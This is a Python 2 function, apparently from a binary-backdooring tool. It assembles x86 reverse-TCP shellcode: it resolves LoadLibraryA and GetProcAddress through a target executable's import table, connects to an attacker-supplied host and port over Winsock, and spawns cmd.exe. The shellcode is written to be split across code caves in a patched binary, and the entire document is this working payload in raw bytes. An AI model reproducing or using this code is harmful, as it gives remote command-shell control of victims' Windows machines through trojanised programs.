'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'

def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):

    flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
    for api in flItms['apis_needed']:
        if (api not in flItms):
            return False
    if (self.PORT is None):
        print 'This    payload    requires    the    PORT    parameter    -P'
        return False
    if (self.HOST is None):
        print 'This    payload    requires    a    HOST    parameter    -H'
        return False
    self.shellcode1 = '\xfc'
    if (flItms['XP_MODE'] is True):
        self.shellcode1 += '\x89\xe51\xd2d\x8bR0\x8bR\x08'
    self.shellcode1 += '\xbb'
    if (flItms['XP_MODE'] is True):
        if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['LoadLibraryA'] - flItms['ImageBase']))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['GetProcAddress'] - flItms['ImageBase']))
    else:
        if ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += '\x01\xd1'
    self.shellcode1 += 'h32\x00\x00hws2_T\x87\xf1\xff\x13hup\x00\x00htarthWSASTP\x97\xff\x16\x95\xb8\x90\x01\x00\x00)\xc4TP\x90\x90\xff\xd5htA\x00\x00hockehWSASTW\xff\x16\x951\xc0PPPP@P@P\xff\xd5\x95hect\x00hconnTW\xff\x16\x87\xcd\x95j\x05h'
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'h\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += '\x89\xe2j\x10RQ\x87\xf9\xff\xd5'
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    self.shellcode2 = 'j\x00hel32hkernT\xff\x13hsA\x00\x00hoceshtePrhCreaTP\xff\x16\x95\x93hcmd\x00\x89\xe3WWW\x87\xfe\x921\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSV\x87\xda\xff\xd5\x89\xe6j\x00hel32hkernT\xff\x13hect\x00heObjhinglhForShWaitTP\x95\xff\x17\x95\x89\xf21\xf6NVF\x89\xd4\xff2\x96\xff\xd5\x81\xc44\x02\x00\x00'
    self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
    return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
